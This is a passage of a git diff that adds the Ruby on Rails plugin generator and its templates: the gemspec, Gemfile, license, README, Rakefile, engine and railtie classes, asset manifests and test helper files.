+      opts[:skip_git] = true
+      opts[:skip_turbolinks] = true
+
+      invoke Rails::Generators::AppGenerator,
+        [ File.expand_path(dummy_path, destination_root) ], opts
+    end
+
+    def test_dummy_config
+      template "rails/boot.rb", "#{dummy_path}/config/boot.rb", force: true
+      template "rails/application.rb", "#{dummy_path}/config/application.rb", force: true
+      if mountable?
+        template "rails/routes.rb", "#{dummy_path}/config/routes.rb", force: true
+      end
+    end
+
+    def test_dummy_assets
+      template "rails/javascripts.js",    "#{dummy_path}/app/assets/javascripts/application.js", force: true
+      template "rails/stylesheets.css",   "#{dummy_path}/app/assets/stylesheets/application.css", force: true
+      template "rails/dummy_manifest.js", "#{dummy_path}/app/assets/config/manifest.js", force: true
+    end
+
+    def test_dummy_clean
+      inside dummy_path do
+        remove_file "db/seeds.rb"
+        remove_file "doc"
+        remove_file "Gemfile"
+        remove_file "lib/tasks"
+        remove_file "public/robots.txt"
+        remove_file "README.md"
+        remove_file "test"
+        remove_file "vendor"
+      end
+    end
+
+    def assets_manifest
+      template "rails/engine_manifest.js", "app/assets/config/#{underscored_name}_manifest.js"
+    end
+
+    def stylesheets
+      if mountable?
+        copy_file "rails/stylesheets.css",
+                  "app/assets/stylesheets/#{namespaced_name}/application.css"
+      elsif full?
+        empty_directory_with_keep_file "app/assets/stylesheets/#{namespaced_name}"
+      end
+    end
+
+    def javascripts
+      return if options.skip_javascript?
+
+      if mountable?
+        template "rails/javascripts.js",
+                 "app/assets/javascripts/#{namespaced_name}/application.js"
+      elsif full?
+        empty_directory_with_keep_file "app/assets/javascripts/#{namespaced_name}"
+      end
+    end
+
+    def bin(force = false)
+      bin_file = engine? ? "bin/rails.tt" : "bin/test.tt"
+      template bin_file, force: force do |content|
+        "#{shebang}\n" + content
+      end
+      chmod "bin", 0755, verbose: false
+    end
+
+    def gemfile_entry
+      return unless inside_application?
+
+      gemfile_in_app_path = File.join(rails_app_path, "Gemfile")
+      if File.exist? gemfile_in_app_path
+        entry = "gem '#{name}', path: '#{relative_path}'"
+        append_file gemfile_in_app_path, entry
+      end
+    end
+  end
+
+  module Generators
+    class PluginGenerator < AppBase # :nodoc:
+      add_shared_options_for "plugin"
+
+      alias_method :plugin_path, :app_path
+
+      class_option :dummy_path,   type: :string, default: "test/dummy",
+                                  desc: "Create dummy application at given path"
+
+      class_option :full,         type: :boolean, default: false,
+                                  desc: "Generate a rails engine with bundled Rails application for testing"
+
+      class_option :mountable,    type: :boolean, default: false,
+                                  desc: "Generate mountable isolated application"
+
+      class_option :skip_gemspec, type: :boolean, default: false,
+                                  desc: "Skip gemspec file"
+
+      class_option :skip_gemfile_entry, type: :boolean, default: false,
+                                        desc: "If creating plugin in application's directory " \
+                                                 "skip adding entry to Gemfile"
+
+      class_option :api,          type: :boolean, default: false,
+                                  desc: "Generate a smaller stack for API application plugins"
+
+      def initialize(*args)
+        @dummy_path = nil
+        super
+      end
+
+      public_task :set_default_accessors!
+      public_task :create_root
+
+      def create_root_files
+        build(:readme)
+        build(:rakefile)
+        build(:gemspec)   unless options[:skip_gemspec]
+        build(:license)
+        build(:gitignore) unless options[:skip_git]
+        build(:gemfile)   unless options[:skip_gemfile]
+      end
+
+      def create_app_files
+        build(:app)
+      end
+
+      def create_config_files
+        build(:config)
+      end
+
+      def create_lib_files
+        build(:lib)
+      end
+
+      def create_assets_manifest_file
+        build(:assets_manifest) if !api? && engine?
+      end
+
+      def create_public_stylesheets_files
+        build(:stylesheets) unless api?
+      end
+
+      def create_javascript_files
+        build(:javascripts) unless api?
+      end
+
+      def create_bin_files
+        build(:bin)
+      end
+
+      def create_test_files
+        build(:test) unless options[:skip_test]
+      end
+
+      def create_test_dummy_files
+        return unless with_dummy_app?
+        create_dummy_app
+      end
+
+      def update_gemfile
+        build(:gemfile_entry) unless options[:skip_gemfile_entry]
+      end
+
+      def finish_template
+        build(:leftovers)
+      end
+
+      public_task :apply_rails_template
+
+      def run_after_bundle_callbacks
+        @after_bundle_callbacks.each do |callback|
+          callback.call
+        end
+      end
+
+      def name
+        @name ||= begin
+          # same as ActiveSupport::Inflector#underscore except not replacing '-'
+          underscored = original_name.dup
+          underscored.gsub!(/([A-Z]+)([A-Z][a-z])/, '\1_\2')
+          underscored.gsub!(/([a-z\d])([A-Z])/, '\1_\2')
+          underscored.downcase!
+
+          underscored
+        end
+      end
+
+      def underscored_name
+        @underscored_name ||= original_name.underscore
+      end
+
+      def namespaced_name
+        @namespaced_name ||= name.tr("-", "/")
+      end
+
+    private
+
+      def create_dummy_app(path = nil)
+        dummy_path(path) if path
+
+        say_status :vendor_app, dummy_path
+        mute do
+          build(:generate_test_dummy)
+          store_application_definition!
+          build(:test_dummy_config)
+          build(:test_dummy_assets)
+          build(:test_dummy_clean)
+          # ensure that bin/rails has proper dummy_path
+          build(:bin, true)
+        end
+      end
+
+      def engine?
+        full? || mountable? || options[:engine]
+      end
+
+      def full?
+        options[:full]
+      end
+
+      def mountable?
+        options[:mountable]
+      end
+
+      def skip_git?
+        options[:skip_git]
+      end
+
+      def with_dummy_app?
+        options[:skip_test].blank? || options[:dummy_path] != "test/dummy"
+      end
+
+      def api?
+        options[:api]
+      end
+
+      def self.banner
+        "rails plugin new #{arguments.map(&:usage).join(' ')} [options]"
+      end
+
+      def original_name
+        @original_name ||= File.basename(destination_root)
+      end
+
+      def modules
+        @modules ||= namespaced_name.camelize.split("::")
+      end
+
+      def wrap_in_modules(unwrapped_code)
+        unwrapped_code = "#{unwrapped_code}".strip.gsub(/\s$\n/, "")
+        modules.reverse.inject(unwrapped_code) do |content, mod|
+          str = "module #{mod}\n"
+          str += content.lines.map { |line| "  #{line}" }.join
+          str += content.present? ? "\nend" : "end"
+        end
+      end
+
+      def camelized_modules
+        @camelized_modules ||= namespaced_name.camelize
+      end
+
+      def humanized
+        @humanized ||= original_name.underscore.humanize
+      end
+
+      def camelized
+        @camelized ||= name.gsub(/\W/, "_").squeeze("_").camelize
+      end
+
+      def author
+        default = "TODO: Write your name"
+        if skip_git?
+          @author = default
+        else
+          @author = `git config user.name`.chomp rescue default
+        end
+      end
+
+      def email
+        default = "TODO: Write your email address"
+        if skip_git?
+          @email = default
+        else
+          @email = `git config user.email`.chomp rescue default
+        end
+      end
+
+      def valid_const?
+        if original_name =~ /-\d/
+          raise Error, "Invalid plugin name #{original_name}. Please give a name which does not contain a namespace starting with numeric characters."
+        elsif original_name =~ /[^\w-]+/
+          raise Error, "Invalid plugin name #{original_name}. Please give a name which uses only alphabetic, numeric, \"_\" or \"-\" characters."
+        elsif camelized =~ /^\d/
+          raise Error, "Invalid plugin name #{original_name}. Please give a name which does not start with numbers."
+        elsif RESERVED_NAMES.include?(name)
+          raise Error, "Invalid plugin name #{original_name}. Please give a " \
+                       "name which does not match one of the reserved rails " \
+                       "words: #{RESERVED_NAMES.join(", ")}"
+        elsif Object.const_defined?(camelized)
+          raise Error, "Invalid plugin name #{original_name}, constant #{camelized} is already in use. Please choose another plugin name."
+        end
+      end
+
+      def application_definition
+        @application_definition ||= begin
+
+          dummy_application_path = File.expand_path("#{dummy_path}/config/application.rb", destination_root)
+          unless options[:pretend] || !File.exist?(dummy_application_path)
+            contents = File.read(dummy_application_path)
+            contents[(contents.index(/module ([\w]+)\n(.*)class Application/m))..-1]
+          end
+        end
+      end
+      alias :store_application_definition! :application_definition
+
+      def get_builder_class
+        defined?(::PluginBuilder) ? ::PluginBuilder : Rails::PluginBuilder
+      end
+
+      def rakefile_test_tasks
+        <<-RUBY
+require 'rake/testtask'
+
+Rake::TestTask.new(:test) do |t|
+  t.libs << 'test'
+  t.pattern = 'test/**/*_test.rb'
+  t.verbose = false
+end
+        RUBY
+      end
+
+      def dummy_path(path = nil)
+        @dummy_path = path if path
+        @dummy_path || options[:dummy_path]
+      end
+
+      def mute(&block)
+        shell.mute(&block)
+      end
+
+      def rails_app_path
+        APP_PATH.sub("/config/application", "") if defined?(APP_PATH)
+      end
+
+      def inside_application?
+        rails_app_path && destination_root.start_with?(rails_app_path.to_s)
+      end
+
+      def relative_path
+        return unless inside_application?
+        app_path.sub(/^#{rails_app_path}\//, "")
+      end
+    end
+  end
+end
diff --git a/railties/lib/rails/generators/rails/plugin/templates/%name%.gemspec b/railties/lib/rails/generators/rails/plugin/templates/%name%.gemspec
new file mode 100644
index 0000000000..9a8c4bf098
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin/templates/%name%.gemspec
@@ -0,0 +1,24 @@
+$:.push File.expand_path("lib", __dir__)
+
+# Maintain your gem's version:
+require "<%= namespaced_name %>/version"
+
+# Describe your gem and declare its dependencies:
+Gem::Specification.new do |s|
+  s.name        = "<%= name %>"
+  s.version     = <%= camelized_modules %>::VERSION
+  s.authors     = ["<%= author %>"]
+  s.email       = ["<%= email %>"]
+  s.homepage    = "TODO"
+  s.summary     = "TODO: Summary of <%= camelized_modules %>."
+  s.description = "TODO: Description of <%= camelized_modules %>."
+  s.license     = "MIT"
+
+  s.files = Dir["{app,config,db,lib}/**/*", "MIT-LICENSE", "Rakefile", "README.md"]
+
+  <%= '# ' if options.dev? || options.edge? -%>s.add_dependency "rails", "<%= Array(rails_version_specifier).join('", "') %>"
+<% unless options[:skip_active_record] -%>
+
+  s.add_development_dependency "<%= gem_for_database[0] %>"
+<% end -%>
+end
diff --git a/railties/lib/rails/generators/rails/plugin/templates/Gemfile b/railties/lib/rails/generators/rails/plugin/templates/Gemfile
new file mode 100644
index 0000000000..22a4548ff2
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin/templates/Gemfile
@@ -0,0 +1,47 @@
+source 'https://rubygems.org'
+
+<% if options[:skip_gemspec] -%>
+<%= '# ' if options.dev? || options.edge? -%>gem 'rails', '<%= Array(rails_version_specifier).join("', '") %>'
+<% else -%>
+# Declare your gem's dependencies in <%= name %>.gemspec.
+# Bundler will treat runtime dependencies like base dependencies, and
+# development dependencies will be added by default to the :development group.
+gemspec
+<% end -%>
+
+<% if options[:skip_gemspec] -%>
+group :development do
+  gem '<%= gem_for_database[0] %>'
+end
+<% else -%>
+# Declare any dependencies that are still in development here instead of in
+# your gemspec. These might include edge Rails or gems from your path or
+# Git. Remember to move these dependencies to your gemspec before releasing
+# your gem to rubygems.org.
+<% end -%>
+
+<% if options.dev? || options.edge? -%>
+# Your gem is dependent on dev or edge Rails. Once you can lock this
+# dependency down to a specific version, move it to your gemspec.
+<% max_width = gemfile_entries.map { |g| g.name.length }.max -%>
+<% gemfile_entries.each do |gem| -%>
+<% if gem.comment -%>
+
+# <%= gem.comment %>
+<% end -%>
+<%= gem.commented_out ? '# ' : '' %>gem '<%= gem.name %>'<%= %(, '#{gem.version}') if gem.version -%>
+<% if gem.options.any? -%>
+, <%= gem.options.map { |k,v|
+  "#{k}: #{v.inspect}" }.join(', ') %>
+<% end -%>
+<% end -%>
+
+<% end -%>
+<% if RUBY_ENGINE == 'ruby' -%>
+# To use a debugger
+# gem 'byebug', group: [:development, :test]
+<% end -%>
+<% if RUBY_PLATFORM.match(/bccwin|cygwin|emx|mingw|mswin|wince|java/) -%>
+
+gem 'tzinfo-data', platforms: [:mingw, :mswin, :x64_mingw, :jruby]
+<% end -%>
diff --git a/railties/lib/rails/generators/rails/plugin/templates/MIT-LICENSE b/railties/lib/rails/generators/rails/plugin/templates/MIT-LICENSE
new file mode 100644
index 0000000000..ff2fb3ba4e
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin/templates/MIT-LICENSE
@@ -0,0 +1,20 @@
+Copyright <%= Date.today.year %> <%= author %>
+
+Permission is hereby granted, free of charge, to any person obtaining
+a copy of this software and associated documentation files (the
+"Software"), to deal in the Software without restriction, including
+without limitation the rights to use, copy, modify, merge, publish,
+distribute, sublicense, and/or sell copies of the Software, and to
+permit persons to whom the Software is furnished to do so, subject to
+the following conditions:
+
+The above copyright notice and this permission notice shall be
+included in all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/railties/lib/rails/generators/rails/plugin/templates/README.md b/railties/lib/rails/generators/rails/plugin/templates/README.md
new file mode 100644
index 0000000000..9d2b74416e
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin/templates/README.md
@@ -0,0 +1,28 @@
+# <%= camelized_modules %>
+Short description and motivation.
+
+## Usage
+How to use my plugin.
+
+## Installation
+Add this line to your application's Gemfile:
+
+```ruby
+gem '<%= name %>'
+```
+
+And then execute:
+```bash
+$ bundle
+```
+
+Or install it yourself as:
+```bash
+$ gem install <%= name %>
+```
+
+## Contributing
+Contribution directions go here.
+
+## License
+The gem is available as open source under the terms of the [MIT License](http://opensource.org/licenses/MIT).
diff --git a/railties/lib/rails/generators/rails/plugin/templates/Rakefile b/railties/lib/rails/generators/rails/plugin/templates/Rakefile
new file mode 100644
index 0000000000..3581dd401a
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin/templates/Rakefile
@@ -0,0 +1,29 @@
+begin
+  require 'bundler/setup'
+rescue LoadError
+  puts 'You must `gem install bundler` and `bundle install` to run rake tasks'
+end
+
+require 'rdoc/task'
+
+RDoc::Task.new(:rdoc) do |rdoc|
+  rdoc.rdoc_dir = 'rdoc'
+  rdoc.title    = '<%= camelized_modules %>'
+  rdoc.options << '--line-numbers'
+  rdoc.rdoc_files.include('README.md')
+  rdoc.rdoc_files.include('lib/**/*.rb')
+end
+
+<% if engine? && !options[:skip_active_record] && with_dummy_app? -%>
+APP_RAKEFILE = File.expand_path("<%= dummy_path -%>/Rakefile", __dir__)
+load 'rails/tasks/engine.rake'
+<% end %>
+
+<% if engine? -%>
+load 'rails/tasks/statistics.rake'
+<% end %>
+
+<% unless options[:skip_gemspec] -%>
+
+require 'bundler/gem_tasks'
+<% end %>
diff --git a/railties/lib/rails/generators/rails/plugin/templates/app/controllers/%namespaced_name%/application_controller.rb.tt b/railties/lib/rails/generators/rails/plugin/templates/app/controllers/%namespaced_name%/application_controller.rb.tt
new file mode 100644
index 0000000000..abbacd9bec
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin/templates/app/controllers/%namespaced_name%/application_controller.rb.tt
@@ -0,0 +1,6 @@
+<%= wrap_in_modules <<-rb.strip_heredoc
+  class ApplicationController < ActionController::#{api? ? "API" : "Base"}
+    #{ api? ? '# ' : '' }protect_from_forgery with: :exception
+  end
+rb
+%>
diff --git a/railties/lib/rails/generators/rails/plugin/templates/app/helpers/%namespaced_name%/application_helper.rb.tt b/railties/lib/rails/generators/rails/plugin/templates/app/helpers/%namespaced_name%/application_helper.rb.tt
new file mode 100644
index 0000000000..25d692732d
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin/templates/app/helpers/%namespaced_name%/application_helper.rb.tt
@@ -0,0 +1,5 @@
+<%= wrap_in_modules <<-rb.strip_heredoc
+  module ApplicationHelper
+  end
+rb
+%>
diff --git a/railties/lib/rails/generators/rails/plugin/templates/app/jobs/%namespaced_name%/application_job.rb.tt b/railties/lib/rails/generators/rails/plugin/templates/app/jobs/%namespaced_name%/application_job.rb.tt
new file mode 100644
index 0000000000..bad1ff2d16
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin/templates/app/jobs/%namespaced_name%/application_job.rb.tt
@@ -0,0 +1,5 @@
+<%= wrap_in_modules <<-rb.strip_heredoc
+  class ApplicationJob < ActiveJob::Base
+  end
+rb
+%>
diff --git a/railties/lib/rails/generators/rails/plugin/templates/app/mailers/%namespaced_name%/application_mailer.rb.tt b/railties/lib/rails/generators/rails/plugin/templates/app/mailers/%namespaced_name%/application_mailer.rb.tt
new file mode 100644
index 0000000000..09aac13f42
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin/templates/app/mailers/%namespaced_name%/application_mailer.rb.tt
@@ -0,0 +1,7 @@
+<%= wrap_in_modules <<-rb.strip_heredoc
+  class ApplicationMailer < ActionMailer::Base
+    default from: 'from@example.com'
+    layout 'mailer'
+  end
+rb
+%>
diff --git a/railties/lib/rails/generators/rails/plugin/templates/app/models/%namespaced_name%/application_record.rb.tt b/railties/lib/rails/generators/rails/plugin/templates/app/models/%namespaced_name%/application_record.rb.tt
new file mode 100644
index 0000000000..8aa3de78f1
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin/templates/app/models/%namespaced_name%/application_record.rb.tt
@@ -0,0 +1,6 @@
+<%= wrap_in_modules <<-rb.strip_heredoc
+  class ApplicationRecord < ActiveRecord::Base
+    self.abstract_class = true
+  end
+rb
+%>
diff --git a/railties/lib/rails/generators/rails/plugin/templates/app/views/layouts/%namespaced_name%/application.html.erb.tt b/railties/lib/rails/generators/rails/plugin/templates/app/views/layouts/%namespaced_name%/application.html.erb.tt
new file mode 100644
index 0000000000..6bc480161d
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin/templates/app/views/layouts/%namespaced_name%/application.html.erb.tt
@@ -0,0 +1,14 @@
+<!DOCTYPE html>
+<html>
+<head>
+  <title><%= humanized %></title>
+  <%%= stylesheet_link_tag    "<%= namespaced_name %>/application", media: "all" %>
+  <%%= javascript_include_tag "<%= namespaced_name %>/application" %>
+  <%%= csrf_meta_tags %>
+</head>
+<body>
+
+<%%= yield %>
+
+</body>
+</html>
diff --git a/railties/lib/rails/generators/rails/plugin/templates/bin/rails.tt b/railties/lib/rails/generators/rails/plugin/templates/bin/rails.tt
new file mode 100644
index 0000000000..ffa277e334
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin/templates/bin/rails.tt
@@ -0,0 +1,13 @@
+# This command will automatically be run when you run "rails" with Rails gems
+# installed from the root of your application.
+
+ENGINE_ROOT = File.expand_path('..', __dir__)
+ENGINE_PATH = File.expand_path('../lib/<%= namespaced_name -%>/engine', __dir__)
+APP_PATH = File.expand_path('../<%= dummy_path -%>/config/application', __dir__)
+
+# Set up gems listed in the Gemfile.
+ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../Gemfile', __dir__)
+require 'bundler/setup' if File.exist?(ENV['BUNDLE_GEMFILE'])
+
+require 'rails/all'
+require 'rails/engine/commands'
diff --git a/railties/lib/rails/generators/rails/plugin/templates/bin/test.tt b/railties/lib/rails/generators/rails/plugin/templates/bin/test.tt
new file mode 100644
index 0000000000..8e7d321626
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin/templates/bin/test.tt
@@ -0,0 +1,4 @@
+$: << File.expand_path("../test", __dir__)
+
+require "bundler/setup"
+require "rails/plugin/test"
diff --git a/railties/lib/rails/generators/rails/plugin/templates/config/routes.rb b/railties/lib/rails/generators/rails/plugin/templates/config/routes.rb
new file mode 100644
index 0000000000..154452bfe5
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin/templates/config/routes.rb
@@ -0,0 +1,6 @@
+<% if mountable? -%>
+<%= camelized_modules %>::Engine.routes.draw do
+<% else -%>
+Rails.application.routes.draw do
+<% end -%>
+end
diff --git a/railties/lib/rails/generators/rails/plugin/templates/gitignore b/railties/lib/rails/generators/rails/plugin/templates/gitignore
new file mode 100644
index 0000000000..54c78d7927
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin/templates/gitignore
@@ -0,0 +1,9 @@
+.bundle/
+log/*.log
+pkg/
+<% unless options[:skip_test] && options[:dummy_path] == 'test/dummy' -%>
+<%= dummy_path %>/db/*.sqlite3
+<%= dummy_path %>/db/*.sqlite3-journal
+<%= dummy_path %>/log/*.log
+<%= dummy_path %>/tmp/
+<% end -%>
diff --git a/railties/lib/rails/generators/rails/plugin/templates/lib/%namespaced_name%.rb b/railties/lib/rails/generators/rails/plugin/templates/lib/%namespaced_name%.rb
new file mode 100644
index 0000000000..3285055eb7
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin/templates/lib/%namespaced_name%.rb
@@ -0,0 +1,7 @@
+<% if engine? -%>
+require "<%= namespaced_name %>/engine"
+<% else -%>
+require "<%= namespaced_name %>/railtie"
+<% end -%>
+
+<%= wrap_in_modules "# Your code goes here..." %>
diff --git a/railties/lib/rails/generators/rails/plugin/templates/lib/%namespaced_name%/engine.rb b/railties/lib/rails/generators/rails/plugin/templates/lib/%namespaced_name%/engine.rb
new file mode 100644
index 0000000000..8938770fc4
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin/templates/lib/%namespaced_name%/engine.rb
@@ -0,0 +1,7 @@
+<%= wrap_in_modules <<-rb.strip_heredoc
+  class Engine < ::Rails::Engine
+  #{mountable? ? '  isolate_namespace ' + camelized_modules : ' '}
+  #{api? ? "  config.generators.api_only = true" : ' '}
+  end
+rb
+%>
diff --git a/railties/lib/rails/generators/rails/plugin/templates/lib/%namespaced_name%/railtie.rb b/railties/lib/rails/generators/rails/plugin/templates/lib/%namespaced_name%/railtie.rb
new file mode 100644
index 0000000000..7bdf4ee5fb
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin/templates/lib/%namespaced_name%/railtie.rb
@@ -0,0 +1,5 @@
+<%= wrap_in_modules <<-rb.strip_heredoc
+  class Railtie < ::Rails::Railtie
+  end
+rb
+%>
diff --git a/railties/lib/rails/generators/rails/plugin/templates/lib/%namespaced_name%/version.rb b/railties/lib/rails/generators/rails/plugin/templates/lib/%namespaced_name%/version.rb
new file mode 100644
index 0000000000..b08f4ef9ae
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin/templates/lib/%namespaced_name%/version.rb
@@ -0,0 +1 @@
+<%= wrap_in_modules "VERSION = '0.1.0'" %>
diff --git a/railties/lib/rails/generators/rails/plugin/templates/lib/tasks/%namespaced_name%_tasks.rake b/railties/lib/rails/generators/rails/plugin/templates/lib/tasks/%namespaced_name%_tasks.rake
new file mode 100644
index 0000000000..88a2c4120f
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin/templates/lib/tasks/%namespaced_name%_tasks.rake
@@ -0,0 +1,4 @@
+# desc "Explaining what the task does"
+# task :<%= underscored_name %> do
+#   # Task goes here
+# end
diff --git a/railties/lib/rails/generators/rails/plugin/templates/rails/application.rb b/railties/lib/rails/generators/rails/plugin/templates/rails/application.rb
new file mode 100644
index 0000000000..d03b1be878
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin/templates/rails/application.rb
@@ -0,0 +1,20 @@
+require_relative 'boot'
+
+<% if include_all_railties? -%>
+require 'rails/all'
+<% else -%>
+# Pick the frameworks you want:
+<%= comment_if :skip_active_record %>require "active_record/railtie"
+require "action_controller/railtie"
+require "action_view/railtie"
+<%= comment_if :skip_action_mailer %>require "action_mailer/railtie"
+require "active_job/railtie"
+<%= comment_if :skip_action_cable %>require "action_cable/engine"
+<%= comment_if :skip_test %>require "rails/test_unit/railtie"
+<%= comment_if :skip_sprockets %>require "sprockets/railtie"
+<% end -%>
+
+Bundler.require(*Rails.groups)
+require "<%= namespaced_name %>"
+
+<%= application_definition %>
diff --git a/railties/lib/rails/generators/rails/plugin/templates/rails/boot.rb b/railties/lib/rails/generators/rails/plugin/templates/rails/boot.rb
new file mode 100644
index 0000000000..c9aef85d40
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin/templates/rails/boot.rb
@@ -0,0 +1,5 @@
+# Set up gems listed in the Gemfile.
+ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../../../Gemfile', __dir__)
+
+require 'bundler/setup' if File.exist?(ENV['BUNDLE_GEMFILE'])
+$LOAD_PATH.unshift File.expand_path('../../../lib', __dir__)
diff --git a/railties/lib/rails/generators/rails/plugin/templates/rails/dummy_manifest.js b/railties/lib/rails/generators/rails/plugin/templates/rails/dummy_manifest.js
new file mode 100644
index 0000000000..8d21b2b6fb
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin/templates/rails/dummy_manifest.js
@@ -0,0 +1,11 @@
+
+<% unless api? -%>
+//= link_tree ../images
+<% end -%>
+<% unless options.skip_javascript -%>
+//= link_directory ../javascripts .js
+<% end -%>
+//= link_directory ../stylesheets .css
+<% if mountable? && !api? -%>
+//= link <%= underscored_name %>_manifest.js
+<% end -%>
diff --git a/railties/lib/rails/generators/rails/plugin/templates/rails/engine_manifest.js b/railties/lib/rails/generators/rails/plugin/templates/rails/engine_manifest.js
new file mode 100644
index 0000000000..2f23844f5e
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin/templates/rails/engine_manifest.js
@@ -0,0 +1,6 @@
+<% if mountable? -%>
+<% if !options.skip_javascript -%>
+//= link_directory ../javascripts/<%= namespaced_name %> .js
+<% end -%>
+//= link_directory ../stylesheets/<%= namespaced_name %> .css
+<% end -%>
diff --git a/railties/lib/rails/generators/rails/plugin/templates/rails/javascripts.js b/railties/lib/rails/generators/rails/plugin/templates/rails/javascripts.js
new file mode 100644
index 0000000000..e54c6461cc
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin/templates/rails/javascripts.js
@@ -0,0 +1,13 @@
+// This is a manifest file that'll be compiled into application.js, which will include all the files
+// listed below.
+//
+// Any JavaScript/Coffee file within this directory, lib/assets/javascripts, vendor/assets/javascripts,
+// or any plugin's vendor/assets/javascripts directory can be referenced here using a relative path.
+//
+// It's not advisable to add code directly here, but if you do, it'll appear at the bottom of the
+// compiled file. JavaScript code in this file should be added after the last require_* statement.
+//
+// Read Sprockets README (https://github.com/rails/sprockets#sprockets-directives) for details
+// about supported directives.
+//
+//= require_tree .
diff --git a/railties/lib/rails/generators/rails/plugin/templates/rails/routes.rb b/railties/lib/rails/generators/rails/plugin/templates/rails/routes.rb
new file mode 100644
index 0000000000..694510edc0
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin/templates/rails/routes.rb
@@ -0,0 +1,3 @@
+Rails.application.routes.draw do
+  mount <%= camelized_modules %>::Engine => "/<%= name %>"
+end
diff --git a/railties/lib/rails/generators/rails/plugin/templates/rails/stylesheets.css b/railties/lib/rails/generators/rails/plugin/templates/rails/stylesheets.css
new file mode 100644
index 0000000000..0ebd7fe829
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin/templates/rails/stylesheets.css
@@ -0,0 +1,15 @@
+/*
+ * This is a manifest file that'll be compiled into application.css, which will include all the files
+ * listed below.
+ *
+ * Any CSS and SCSS file within this directory, lib/assets/stylesheets, vendor/assets/stylesheets,
+ * or any plugin's vendor/assets/stylesheets directory can be referenced here using a relative path.
+ *
+ * You're free to add application-wide styles to this file and they'll appear at the bottom of the
+ * compiled file so the styles you add here take precedence over styles defined in any other CSS/SCSS
+ * files in this directory. Styles in this file should be added after the last require_* statement.
+ * It is generally better to create a new file per style scope.
+ *
+ *= require_tree .
+ *= require_self
+ */
diff --git a/railties/lib/rails/generators/rails/plugin/templates/test/%namespaced_name%_test.rb b/railties/lib/rails/generators/rails/plugin/templates/test/%namespaced_name%_test.rb
new file mode 100644
index 0000000000..1ee05d7871
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin/templates/test/%namespaced_name%_test.rb
@@ -0,0 +1,7 @@
+require 'test_helper'
+
+class <%= camelized_modules %>::Test < ActiveSupport::TestCase
+  test "truth" do
+    assert_kind_of Module, <%= camelized_modules %>
+  end
+end
diff --git a/railties/lib/rails/generators/rails/plugin/templates/test/application_system_test_case.rb b/railties/lib/rails/generators/rails/plugin/templates/test/application_system_test_case.rb
new file mode 100644
index 0000000000..d19212abd5
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin/templates/test/application_system_test_case.rb
@@ -0,0 +1,5 @@
+require "test_helper"
+
+class ApplicationSystemTestCase < ActionDispatch::SystemTestCase
+  driven_by :selenium, using: :chrome, screen_size: [1400, 1400]
+end
diff --git a/railties/lib/rails/generators/rails/plugin/templates/test/integration/navigation_test.rb b/railties/lib/rails/generators/rails/plugin/templates/test/integration/navigation_test.rb
new file mode 100644
index 0000000000..f5d1ec2046
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin/templates/test/integration/navigation_test.rb
@@ -0,0 +1,8 @@
+require 'test_helper'
+
+class NavigationTest < ActionDispatch::IntegrationTest
+  # test "the truth" do
+  #   assert true
+  # end
+end
+
diff --git a/railties/lib/rails/generators/rails/plugin/templates/test/test_helper.rb b/railties/lib/rails/generators/rails/plugin/templates/test/test_helper.rb
new file mode 100644
index 0000000000..c281fc42ca
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin/templates/test/test_helper.rb
@@ -0,0 +1,24 @@
+require_relative "<%= File.join('..', options[:dummy_path], 'config/environment') -%>"
+<% unless options[:skip_active_record] -%>
+ActiveRecord::Migrator.migrations_paths = [File.expand_path("../<%= options[:dummy_path] -%>/db/migrate", __dir__)]
+<% if options[:mountable] -%>
+ActiveRecord::Migrator.migrations_paths << File.expand_path('../db/migrate', __dir__)
+<% end -%>
+<% end -%>
+require "rails/test_help"
+
+# Filter out Minitest backtrace while allowing backtrace from other libraries
+# to be shown.
+Minitest.backtrace_filter = Minitest::BacktraceFilter.new
+
+<% unless engine? -%>
+Rails::TestUnitReporter.executable = 'bin/test'
+<% end -%>
+
+# Load fixtures from the engine
+if ActiveSupport::TestCase.respond_to?(:fixture_path=)
+  ActiveSupport::TestCase.fixture_path = File.expand_path("fixtures", __dir__)
+  ActionDispatch::IntegrationTest.fixture_path = ActiveSupport::TestCase.fixture_path
